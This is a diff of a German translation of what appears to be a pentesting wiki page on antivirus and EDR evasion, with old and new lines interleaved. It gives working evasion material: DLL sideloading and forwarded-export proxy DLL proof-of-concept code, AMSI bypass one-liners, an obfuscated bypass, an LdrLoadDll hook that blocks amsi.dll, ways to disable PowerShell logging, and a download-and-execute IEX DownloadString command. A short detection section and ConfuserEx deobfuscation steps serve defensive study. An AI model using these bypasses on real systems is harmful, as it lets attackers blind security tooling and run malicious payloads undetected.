[@flangvik](https://twitter.com/Flangvik/) verwenden. @@ -98,35 +98,37 @@ Dies sind die Schritte, die ich befolgt habe: 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn) 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin) ``` -Der letzte Befehl liefert uns 2 Dateien: eine DLL-Quellcode-Vorlage und die ursprünglich umbenannte DLL. +Der letzte Befehl liefert uns 2 Dateien: eine DLL-Quellcodevorlage und die umbenannte Original-DLL.
``` 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. ``` +Dies sind die Ergebnisse: +
-Sowohl unser shellcode (mit [SGN](https://github.com/EgeBalci/sgn) kodiert) als auch die Proxy-DLL haben eine Erkennungsrate von 0/26 auf [antiscan.me](https://antiscan.me)! Ich würde das als Erfolg bezeichnen. +Sowohl unser shellcode (mit [SGN](https://github.com/EgeBalci/sgn) kodiert) als auch die proxy DLL haben eine Erkennungsrate von 0/26 bei [antiscan.me](https://antiscan.me)! Ich würde das als Erfolg bezeichnen.
> [!TIP] -> Ich empfehle dringend, dir [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) über DLL Sideloading anzusehen und auch [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE), um mehr über das hier Besprochene im Detail zu lernen. +> Ich **möchte dringend empfehlen**, dass du dir [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) über DLL Sideloading ansiehst und auch [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE), um mehr über das, was wir ausführlicher besprochen haben, zu erfahren. -### Missbrauch von Forwarded Exports (ForwardSideLoading) +### Abusing Forwarded Exports (ForwardSideLoading) -Windows PE-Module können Funktionen exportieren, die tatsächlich "forwarders" sind: anstatt auf Code zu zeigen, enthält der Exporteintrag eine ASCII-Zeichenfolge der Form `TargetDll.TargetFunc`. Wenn ein Aufrufer den Export auflöst, wird der Windows-Loader: +Windows PE-Module können Funktionen exportieren, die tatsächlich "forwarders" sind: anstatt auf Code zu verweisen, enthält der Exporteintrag einen ASCII-String in der Form `TargetDll.TargetFunc`. Wenn ein Caller den Export auflöst, wird der Windows-Loader: -- Lädt `TargetDll`, falls noch nicht geladen -- Ermittelt `TargetFunc` daraus +- `TargetDll` laden, falls es noch nicht geladen ist +- `TargetFunc` daraus auflösen -Wichtige Verhaltensweisen, die man verstehen sollte: -- Wenn `TargetDll` eine KnownDLL ist, wird sie aus dem geschützten KnownDLLs-Namespace bereitgestellt (z. B. ntdll, kernelbase, ole32). -- Wenn `TargetDll` keine KnownDLL ist, wird die normale DLL-Suchreihenfolge verwendet, die auch das Verzeichnis des Moduls einschließt, das die Weiterleitung auflöst. +Wesentliche Verhaltensweisen, die zu verstehen sind: +- Wenn `TargetDll` ein KnownDLL ist, wird es aus dem geschützten KnownDLLs-Namespace bereitgestellt (z. B. ntdll, kernelbase, ole32). +- Wenn `TargetDll` kein KnownDLL ist, wird die normale DLL-Suchreihenfolge verwendet, die das Verzeichnis des Moduls einschließt, das die Weiterleitungsauflösung durchführt. -Dies ermöglicht eine indirekte sideloading-Primitive: finde eine signed DLL, die eine Funktion exportiert, die auf einen nicht-KnownDLL-Modulnamen weitergeleitet wird, und platziere diese signierte DLL zusammen mit einer vom Angreifer kontrollierten DLL mit genau dem Namen des weitergeleiteten Zielmoduls im selben Verzeichnis. Wenn der weitergeleitete Export aufgerufen wird, löst der Loader die Weiterleitung auf und lädt deine DLL aus demselben Verzeichnis, wodurch deine DllMain ausgeführt wird. +Das ermöglicht ein indirektes sideloading-Prinzip: finde eine signierte DLL, die eine Funktion exportiert, die an einen Nicht-KnownDLL-Modulnamen weitergeleitet wird, und platziere diese signierte DLL zusammen mit einer vom Angreifer kontrollierten DLL, die genau den weitergeleiteten Zielmodulnamen trägt. Wenn der weitergeleitete Export aufgerufen wird, löst der Loader die Weiterleitung auf und lädt deine DLL aus demselben Verzeichnis, wobei deine DllMain ausgeführt wird. -Beispiel beobachtet auf Windows 11: +Beispiel beobachtet unter Windows 11: ``` keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface ``` @@ -137,7 +139,7 @@ PoC (copy-paste): ``` copy C:\Windows\System32\keyiso.dll C:\test\ ``` -2) Lege eine bösartige `NCRYPTPROV.dll` im selben Ordner ab. Eine minimale DllMain reicht aus, um Codeausführung zu erreichen; du musst die weitergeleitete Funktion nicht implementieren, um DllMain auszulösen. +2) Lege eine bösartige `NCRYPTPROV.dll` in denselben Ordner. Ein minimales DllMain reicht aus, um Codeausführung zu erlangen; du musst die weitergeleitete Funktion nicht implementieren, um DllMain auszulösen. ```c // x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c #include @@ -149,35 +151,35 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,& return TRUE; } ``` -3) Weiterleitung mit einem signierten LOLBin auslösen: +3) Lösen Sie die Weiterleitung mit einem signierten LOLBin aus: ``` rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface ``` Beobachtetes Verhalten: -- rundll32 (signed) lädt die side-by-side `keyiso.dll` (signed) +- rundll32 (signiert) lädt die side-by-side `keyiso.dll` (signiert) - Beim Auflösen von `KeyIsoSetAuditingInterface` folgt der Loader dem Forward zu `NCRYPTPROV.SetAuditingInterface` - Der Loader lädt dann `NCRYPTPROV.dll` aus `C:\test` und führt dessen `DllMain` aus -- Wenn `SetAuditingInterface` nicht implementiert ist, erhältst du erst nach dem Ausführen von `DllMain` eine "missing API"-Fehlermeldung +- Wenn `SetAuditingInterface` nicht implementiert ist, erhält man erst nach Ausführung von `DllMain` einen "missing API"-Fehler -Hinweise zur Suche: -- Konzentriere dich auf forwarded exports, bei denen das Zielmodul kein KnownDLL ist. KnownDLLs sind unter `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` aufgelistet. -- Du kannst forwarded exports mit Tools wie: +Hunting tips: +- Konzentriere dich auf weitergeleitete Exporte, bei denen das Zielmodul kein KnownDLL ist. KnownDLLs sind unter `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` aufgeführt. +- Du kannst weitergeleitete Exporte mit Tools wie: ``` dumpbin /exports C:\Windows\System32\keyiso.dll # forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface ``` -- Sieh dir das Windows 11 Forwarder-Inventar an, um Kandidaten zu finden: https://hexacorn.com/d/apis_fwd.txt +- Siehe das Windows 11 forwarder inventory, um Kandidaten zu suchen: https://hexacorn.com/d/apis_fwd.txt -Erkennungs-/Abwehrideen: -- Überwache LOLBins (z. B. rundll32.exe), die signierte DLLs aus Nicht-Systempfaden laden, gefolgt vom Laden nicht-KnownDLLs mit demselben Basisnamen aus diesem Verzeichnis -- Alarm auslösen bei Prozess-/Modulketten wie: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` unter user-writable paths -- Durchsetzen von Code-Integritätsrichtlinien (WDAC/AppLocker) und Verweigern von write+execute in Anwendungsverzeichnissen +Erkennungs-/Verteidigungsideen: +- Überwache LOLBins (z. B. rundll32.exe), die signierte DLLs aus Nicht-Systempfaden laden, gefolgt vom Laden von non-KnownDLLs mit demselben Basisnamen aus diesem Verzeichnis +- Alarm bei Prozess-/Modulketten wie: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` unter für Benutzer beschreibbaren Pfaden +- Durchsetzung von Code-Integritätsrichtlinien (WDAC/AppLocker) und Verweigerung von write+execute in Anwendungsverzeichnissen ## [**Freeze**](https://github.com/optiv/Freeze) -`Freeze ist ein Payload-Toolkit zum Umgehen von EDRs durch Nutzung von suspended processes, direct syscalls und alternative execution methods` +`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods` -Du kannst Freeze verwenden, um deinen shellcode auf eine stealthy Weise zu laden und auszuführen. +Sie können Freeze verwenden, um Ihren shellcode auf eine unauffällige Weise zu laden und auszuführen. ``` Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go) 1. Generate some shellcode, in this case I used Havoc C2. @@ -187,53 +189,53 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
> [!TIP] -> Evasion ist nur ein Katz-und-Maus-Spiel — was heute funktioniert, kann morgen erkannt werden. Verlasse dich also niemals auf nur ein Tool; wenn möglich, versuche mehrere evasion-Techniken zu verketten. +> Evasion ist nur ein Katz-und-Maus-Spiel: Was heute funktioniert, kann morgen entdeckt werden. Verlasse dich niemals auf nur ein Tool; wenn möglich, versuche mehrere Evasionstechniken zu verketten. ## AMSI (Anti-Malware Scan Interface) -AMSI wurde geschaffen, um "fileless malware" zu verhindern. Ursprünglich konnten AVs nur **files on disk** scannen; wenn du Payloads **directly in-memory** ausführst, konnte das AV nichts dagegen tun, weil die Sichtbarkeit fehlte. +AMSI wurde geschaffen, um "fileless malware" zu verhindern. Ursprünglich konnten AVs nur **Dateien auf der Festplatte** scannen, daher konnte ein Payload, der **direkt im Speicher** ausgeführt wurde, nicht erkannt werden, weil der AV nicht genug Einsicht hatte. -Die AMSI-Funktion ist in folgende Windows-Komponenten integriert: +Das AMSI-Feature ist in folgende Windows-Komponenten integriert: -- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation) -- PowerShell (scripts, interactive use, and dynamic code evaluation) -- Windows Script Host (wscript.exe and cscript.exe) -- JavaScript and VBScript -- Office VBA macros +- User Account Control, or UAC (Erhöhung bei EXE-, COM-, MSI- oder ActiveX-Installation) +- PowerShell (Skripte, interaktive Nutzung und dynamische Codeauswertung) +- Windows Script Host (wscript.exe und cscript.exe) +- JavaScript und VBScript +- Office VBA-Makros -Sie erlaubt Antivirus-Lösungen, das Verhalten von Skripten zu inspizieren, indem Skriptinhalte in einer unverschlüsselten und nicht-obfuskierten Form offengelegt werden. +Es erlaubt Antivirus-Lösungen, das Verhalten von Skripten zu inspizieren, indem Skriptinhalte in einer Form offengelegt werden, die weder verschlüsselt noch obfuskiert ist. -Das Ausführen von `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` erzeugt die folgende Warnung in Windows Defender. +Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
-Achte darauf, dass es `amsi:` voranstellt und anschließend den Pfad zur ausführbaren Datei angibt, von der das Skript gestartet wurde — in diesem Fall powershell.exe. +Beachte, wie es `amsi:` voranstellt und dann den Pfad zur ausführbaren Datei, aus der das Skript lief, in diesem Fall powershell.exe. -Wir haben keine Datei auf die Festplatte geschrieben, wurden aber trotzdem wegen AMSI im-memory entdeckt. +Wir haben keine Datei auf die Festplatte geschrieben, wurden aber trotzdem aufgrund von AMSI im Speicher entdeckt. -Außerdem wird ab **.NET 4.8** auch C#-Code über AMSI geprüft. Das betrifft sogar `Assembly.Load(byte[])` für in-memory execution. Deshalb wird empfohlen, für in-memory Ausführung niedrigere .NET-Versionen (z. B. 4.7.2 oder niedriger) zu verwenden, wenn du AMSI evaden möchtest. +Außerdem wird seit **.NET 4.8** auch C#-Code durch AMSI geleitet. Das betrifft sogar `Assembly.Load(byte[])` für In-Memory-Loads. Deshalb wird empfohlen, für In-Memory-Ausführung niedrigere .NET-Versionen (z. B. 4.7.2 oder älter) zu verwenden, wenn man AMSI umgehen möchte. -Es gibt ein paar Möglichkeiten, AMSI zu umgehen: +Es gibt ein paar Wege, AMSI zu umgehen: - **Obfuscation** -Da AMSI hauptsächlich mit static detections arbeitet, kann das Modifizieren der Skripte, die du laden willst, eine gute Methode sein, um evading detection zu erreichen. +Da AMSI hauptsächlich mit statischen Erkennungen arbeitet, kann das Modifizieren der Skripte, die du laden willst, eine gute Möglichkeit sein, die Erkennung zu umgehen. -Allerdings kann AMSI Skripte sogar deobfuskieren, selbst wenn mehrere Schichten vorhanden sind, sodass Obfuscation je nach Vorgehensweise keine gute Option sein kann. Das macht das Umgehen nicht so trivial. Manchmal reicht aber schon das Ändern einiger Variablennamen, sodass es vom Flagging abhängt, wie aufwändig es sein muss. +Allerdings hat AMSI die Fähigkeit, Skripte zu deobfuskieren, selbst wenn mehrere Ebenen vorhanden sind, daher kann Obfuscation je nach Umsetzung eine schlechte Option sein. Das macht das Umgehen nicht so trivial. Manchmal reicht es aber, ein paar Variablennamen zu ändern, und alles ist gut, es hängt also davon ab, wie stark etwas markiert wurde. - **AMSI Bypass** -Da AMSI durch das Laden einer DLL in den powershell- (ebenfalls cscript.exe, wscript.exe usw.) Prozess implementiert ist, lässt sich diese DLL sogar als nicht privilegierter Benutzer relativ einfach manipulieren. Aufgrund dieses Implementierungsfehlers haben Forscher mehrere Wege gefunden, AMSI-Scanning zu evaden. +Da AMSI implementiert ist, indem eine DLL in den powershell-(auch cscript.exe, wscript.exe, etc.) Prozess geladen wird, ist es möglich, sie selbst als unprivilegierter Benutzer relativ einfach zu manipulieren. Aufgrund dieses Implementierungsfehlers haben Forscher mehrere Wege gefunden, AMSI-Scans zu umgehen. **Forcing an Error** -Das Erzwingen eines Fehlschlags der AMSI-Initialisierung (amsiInitFailed) führt dazu, dass für den aktuellen Prozess kein Scan gestartet wird. Ursprünglich wurde dies von [Matt Graeber](https://twitter.com/mattifestation) veröffentlicht, und Microsoft hat eine Signatur entwickelt, um die breite Nutzung einzudämmen. +Das Erzwingen eines Fehlers bei der AMSI-Initialisierung (amsiInitFailed) führt dazu, dass für den aktuellen Prozess kein Scan gestartet wird. Ursprünglich wurde dies von [Matt Graeber](https://twitter.com/mattifestation) veröffentlicht und Microsoft hat eine Signatur entwickelt, um eine breitere Nutzung zu verhindern. ```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` -Es bedurfte nur einer Zeile powershell-Code, um AMSI für den aktuellen powershell-Prozess unbrauchbar zu machen. Diese Zeile wurde natürlich von AMSI selbst erkannt, daher ist eine Modifikation nötig, um diese Technik anzuwenden. +Alles, was dazu nötig war, war eine einzelne PowerShell-Zeile, um AMSI für den aktuellen PowerShell-Prozess unbrauchbar zu machen. Diese Zeile wurde natürlich von AMSI selbst erkannt, daher sind Modifikationen nötig, um diese Technik verwenden zu können. -Hier ist ein modifizierter AMSI bypass, den ich aus diesem [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) übernommen habe. +Hier ist ein modifizierter AMSI bypass, den ich von diesem [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) übernommen habe. ```bash Try{#Ams1 bypass technic nº 2 $Xdatabase = 'Utils';$Homedrive = 'si' @@ -247,119 +249,154 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") $Spotfix.SetValue($null,$true) }Catch{Throw $_} ``` -Beachte, dass dies wahrscheinlich auffallen wird, sobald dieser Beitrag veröffentlicht ist; veröffentliche keinen Code, wenn du unentdeckt bleiben willst. +Beachte, dass dies wahrscheinlich auffallen wird, sobald dieser Beitrag veröffentlicht wird; du solltest daher keinen Code veröffentlichen, wenn dein Plan ist, unentdeckt zu bleiben. **Memory Patching** -Diese Technik wurde ursprünglich von [@RastaMouse](https://twitter.com/_RastaMouse/) entdeckt und beinhaltet das Finden der Adresse der Funktion "AmsiScanBuffer" in amsi.dll (verantwortlich für das Scannen der vom Benutzer bereitgestellten Eingabe) und deren Überschreiben mit Anweisungen, die den Rückgabewert E_INVALIDARG liefern; dadurch gibt das Ergebnis des eigentlichen Scans 0 zurück, was als sauberes Ergebnis interpretiert wird. +This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result. > [!TIP] -> Bitte lies [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) für eine ausführlichere Erklärung. +> Bitte lies [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) für eine detailliertere Erklärung. -Es gibt außerdem viele weitere Techniken, um AMSI mit PowerShell zu umgehen — siehe [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) und [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), um mehr darüber zu erfahren. +There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them. -Dieses Tool [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) generiert ebenfalls script, um AMSI zu umgehen. +### AMSI blockieren, indem das Laden von amsi.dll verhindert wird (LdrLoadDll hook) + +AMSI is initialised only after `amsi.dll` is loaded into the current process. A robust, language‑agnostic bypass is to place a user‑mode hook on `ntdll!LdrLoadDll` that returns an error when the requested module is `amsi.dll`. As a result, AMSI never loads and no scans occur for that process. + +Implementierungsübersicht (x64 C/C++ pseudocode): +```c +#include +#include + +typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE); +static pLdrLoadDll realLdrLoadDll; + +NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){ +if (module && module->Buffer){ +UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll"); +if (RtlEqualUnicodeString(module, &amsi, TRUE)){ +// Pretend the DLL cannot be found → AMSI never initialises in this process +return STATUS_DLL_NOT_FOUND; // 0xC0000135 +} +} +return realLdrLoadDll(path, flags, module, handle); +} + +void InstallHook(){ +HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); +realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll"); +// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll +// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk +} +``` +Hinweise +- Funktioniert sowohl mit PowerShell, WScript/CScript als auch mit benutzerdefinierten Loadern (alles, was sonst AMSI laden würde). +- Kombiniert mit dem Einspeisen von Skripten über stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`), um lange Kommandozeilen-Artefakte zu vermeiden. +- Wird häufig von Loadern verwendet, die über LOLBins ausgeführt werden (z. B. `regsvr32`, das `DllRegisterServer` aufruft). + +Dieses Tool [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) generiert außerdem Skripte, um AMSI zu umgehen. **Entferne die erkannte Signatur** -Du kannst ein Tool wie **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** und **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** verwenden, um die erkannte AMSI-Signatur aus dem Speicher des aktuellen Prozesses zu entfernen. Dieses Tool arbeitet, indem es den Speicher des aktuellen Prozesses nach der AMSI-Signatur durchsucht und diese dann mit NOP instructions überschreibt, wodurch sie effektiv aus dem Speicher entfernt wird. +Du kannst Tools wie **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** und **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** verwenden, um die erkannte AMSI-Signatur aus dem Speicher des aktuellen Prozesses zu entfernen. Diese Tools scannen den Speicher des aktuellen Prozesses nach der AMSI-Signatur und überschreiben sie dann mit NOP-Instruktionen, wodurch sie effektiv aus dem Speicher entfernt wird. **AV/EDR-Produkte, die AMSI verwenden** -Eine Liste von AV/EDR-Produkten, die AMSI verwenden, findest du in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**. +Eine Liste von AV/EDR-Produkten, die AMSI verwenden, findest du unter **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**. **PowerShell Version 2 verwenden** -Wenn du PowerShell Version 2 verwendest, wird AMSI nicht geladen, sodass du deine scripts ausführen kannst, ohne von AMSI gescannt zu werden. Du kannst Folgendes tun: +Wenn du PowerShell Version 2 verwendest, wird AMSI nicht geladen, sodass du deine Skripte ausführen kannst, ohne von AMSI gescannt zu werden. Du kannst dies tun: ```bash powershell.exe -version 2 ``` -## PS Logging +## PS-Protokollierung -PowerShell logging ist eine Funktion, die es ermöglicht, alle auf einem System ausgeführten PowerShell-Befehle zu protokollieren. Das kann nützlich für Auditing und Fehlerbehebung sein, aber es kann auch ein **Problem für Angreifer darstellen, die der Erkennung entgehen wollen**. +PowerShell-Logging ist eine Funktion, mit der Sie alle auf einem System ausgeführten PowerShell-Befehle protokollieren können. Das ist für Audits und Fehlerbehebung nützlich, kann aber auch ein **Problem für Angreifer sein, die der Erkennung entgehen wollen**. -Um PowerShell logging zu umgehen, können Sie die folgenden Techniken verwenden: +Um PowerShell-Logging zu umgehen, können Sie die folgenden Techniken verwenden: -- **Disable PowerShell Transcription and Module Logging**: Sie können ein Tool wie [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) dafür verwenden. -- **Use Powershell version 2**: Wenn Sie PowerShell Version 2 verwenden, wird AMSI nicht geladen, sodass Sie Ihre Skripte ausführen können, ohne von AMSI gescannt zu werden. Starten Sie z. B.: `powershell.exe -version 2` -- **Use an Unmanaged Powershell Session**: Nutzen Sie [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell), um eine PowerShell ohne Defenses zu starten (das ist das, was `powerpick` von Cobal Strike verwendet). +- **Deaktivieren von PowerShell-Transkription und Modulprotokollierung**: Sie können hierfür ein Tool wie [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) verwenden. +- **Verwenden Sie PowerShell Version 2**: Wenn Sie PowerShell Version 2 verwenden, wird AMSI nicht geladen, sodass Sie Ihre Skripte ausführen können, ohne von AMSI gescannt zu werden. Das geht so: `powershell.exe -version 2` +- **Verwenden Sie eine unmanaged PowerShell-Session**: Nutzen Sie [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell), um eine PowerShell ohne Abwehrmechanismen zu starten (das ist das, was `powerpick` von Cobal Strike verwendet). -## Obfuscation +## Verschleierung > [!TIP] -> Mehrere Obfuscation-Techniken basieren auf der Verschlüsselung von Daten, was die Entropie der Binary erhöht und AVs/EDRs das Erkennen erleichtert. Seien Sie vorsichtig damit und verschlüsseln Sie ggf. nur spezifische Abschnitte Ihres Codes, die sensibel sind oder versteckt werden müssen. +> Mehrere Verschleierungstechniken basieren auf der Verschlüsselung von Daten, was die Entropie der Binärdatei erhöht und es AVs und EDRs erleichtert, sie zu erkennen. Seien Sie vorsichtig damit und wenden Sie Verschlüsselung ggf. nur auf spezifische Bereiche Ihres Codes an, die sensibel sind oder verborgen werden müssen. -### Deobfuscating ConfuserEx-Protected .NET Binaries +### Deobfuskation von ConfuserEx-geschützten .NET-Binärdateien -Beim Analysieren von Malware, die ConfuserEx 2 (oder kommerzielle Forks) verwendet, stößt man häufig auf mehrere Schutzschichten, die Decompiler und Sandboxes blockieren. Der untenstehende Workflow stellt zuverlässig ein nahezu originales IL wieder her, das anschließend in C# in Tools wie dnSpy oder ILSpy dekompiliert werden kann. +Bei der Analyse von Malware, die ConfuserEx 2 (oder kommerzielle Forks) verwendet, trifft man häufig auf mehrere Schutzschichten, die Decompiler und Sandboxes blockieren. Der untenstehende Workflow stellt zuverlässig ein nahezu originales IL wieder her, das anschließend in Tools wie dnSpy oder ILSpy nach C# dekompiliert werden kann. -1. Anti-tampering removal – ConfuserEx verschlüsselt jeden *method body* und entschlüsselt ihn im statischen Konstruktor des *module* (`.cctor`). Das ändert außerdem die PE-Checksumme, sodass jede Modifikation die Binary zum Absturz bringen kann. Verwenden Sie **AntiTamperKiller**, um die verschlüsselten Metadatentabellen zu lokalisieren, die XOR-Keys wiederherzustellen und eine saubere Assembly neu zu schreiben: +1. Entfernung von Anti-Tampering – ConfuserEx verschlüsselt jeden *method body* und entschlüsselt ihn im statischen Modul-Konstruktor (`.cctor`). Es wird außerdem die PE-Checksumme gepatcht, sodass jede Änderung die Binärdatei zum Absturz bringen kann. Verwenden Sie **AntiTamperKiller**, um die verschlüsselten Metadatentabellen zu finden, die XOR-Schlüssel wiederherzustellen und eine saubere Assembly neu zu schreiben: ```bash # https://github.com/wwh1004/AntiTamperKiller python AntiTamperKiller.py Confused.exe Confused.clean.exe ``` Die Ausgabe enthält die 6 Anti-Tamper-Parameter (`key0-key3`, `nameHash`, `internKey`), die beim Erstellen eines eigenen Unpackers nützlich sein können. -2. Symbol / control-flow recovery – geben Sie die *clean* Datei an **de4dot-cex** (ein ConfuserEx-bewusster Fork von de4dot). +2. Symbol- / Kontrollfluss-Wiederherstellung – geben Sie die *bereinigte* Datei an **de4dot-cex** (ein ConfuserEx-bewusster Fork von de4dot). ```bash de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe ``` Flags: -• `-p crx` – wählt das ConfuserEx 2 Profil -• de4dot wird Control-Flow-Flattening rückgängig machen, originale Namespaces, Klassen und Variablennamen wiederherstellen und konstante Strings entschlüsseln. +• `-p crx` – wählt das ConfuserEx 2-Profil +• de4dot macht Control-Flow-Flattening rückgängig, stellt ursprüngliche Namespaces, Klassen und Variablennamen wieder her und entschlüsselt konstante Strings. -3. Proxy-call stripping – ConfuserEx ersetzt direkte Methodenaufrufe durch leichte Wrapper (sog. *proxy calls*), um die Dekompilierung weiter zu erschweren. Entfernen Sie diese mit **ProxyCall-Remover**: +3. Entfernen von Proxy-Aufrufen – ConfuserEx ersetzt direkte Methodenaufrufe durch leichte Wrapper (sogenannte *proxy calls*), um die Dekompilierung weiter zu erschweren. Entfernen Sie diese mit **ProxyCall-Remover**: ```bash ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe ``` -Nach diesem Schritt sollten Sie normale .NET-APIs wie `Convert.FromBase64String` oder `AES.Create()` sehen, anstelle undurchsichtiger Wrapper-Funktionen (`Class8.smethod_10`, …). +Nach diesem Schritt sollten Sie normale .NET-APIs wie `Convert.FromBase64String` oder `AES.Create()` statt undurchsichtiger Wrapperfunktionen (`Class8.smethod_10`, …) sehen. -4. Manual clean-up – führen Sie die resultierende Binary in dnSpy aus, suchen Sie nach großen Base64-Blobs oder der Nutzung von `RijndaelManaged`/`TripleDESCryptoServiceProvider`, um die *wirkliche* Payload zu finden. Oft speichert die Malware diese als TLV-kodiertes Byte-Array, initialisiert innerhalb von `.byte_0`. +4. Manuelle Nachbearbeitung – führen Sie die resultierende Binärdatei in dnSpy aus, suchen Sie nach großen Base64-Blobs oder der Verwendung von `RijndaelManaged`/`TripleDESCryptoServiceProvider`, um das *eigentliche* Payload zu lokalisieren. Häufig speichert die Malware dieses als TLV-kodiertes Byte-Array, initialisiert innerhalb von `.byte_0`. -Die obige Kette stellt den Ausführungsfluss **wieder her, ohne** die bösartige Probe ausführen zu müssen – nützlich bei der Arbeit auf einer Offline-Workstation. +Die obige Kette stellt den Ausführungsfluss **wieder her, ohne** das bösartige Sample ausführen zu müssen – nützlich, wenn Sie an einem Offline-Arbeitsplatz arbeiten. -> 🛈 ConfuserEx erzeugt ein benutzerdefiniertes Attribut namens `ConfusedByAttribute`, das als IOC verwendet werden kann, um Samples automatisch zu triagieren. +> 🛈 ConfuserEx erzeugt ein benutzerdefiniertes Attribut mit dem Namen `ConfusedByAttribute`, das als IOC verwendet werden kann, um Samples automatisch zu triagieren. -#### One-liner +#### Einzeiler ```bash autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially ``` --- - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ziel dieses Projekts ist es, einen Open-Source-Fork der [LLVM](http://www.llvm.org/) Kompilations-Suite bereitzustellen, der erhöhte Softwaresicherheit durch [code obfuscation]() und Manipulationsschutz bietet. -- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstriert, wie man die `C++11/14`-Sprache nutzt, um zur Kompilierzeit obfuscated code zu erzeugen, ohne ein externes Tool zu verwenden und ohne den Compiler zu modifizieren. -- [**obfy**](https://github.com/fritzone/obfy): Fügt eine Schicht obfuscated operations hinzu, die vom C++ template metaprogramming framework erzeugt werden und das Leben der Person, die die Anwendung knacken möchte, etwas schwerer machen. -- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ist ein x64 binary obfuscator, der verschiedene pe files obfuscaten kann, einschließlich: .exe, .dll, .sys -- [**metame**](https://github.com/a0rtega/metame): Metame ist eine einfache metamorphic code engine für beliebige executables. -- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ist ein fine-grained code obfuscation framework für LLVM-supported languages unter Verwendung von ROP (return-oriented programming). ROPfuscator obfuscates ein Programm auf Assembly-Code-Ebene, indem reguläre Instruktionen in ROP chains transformiert werden, wodurch unsere natürliche Vorstellung von normalem control flow unterlaufen wird. +- 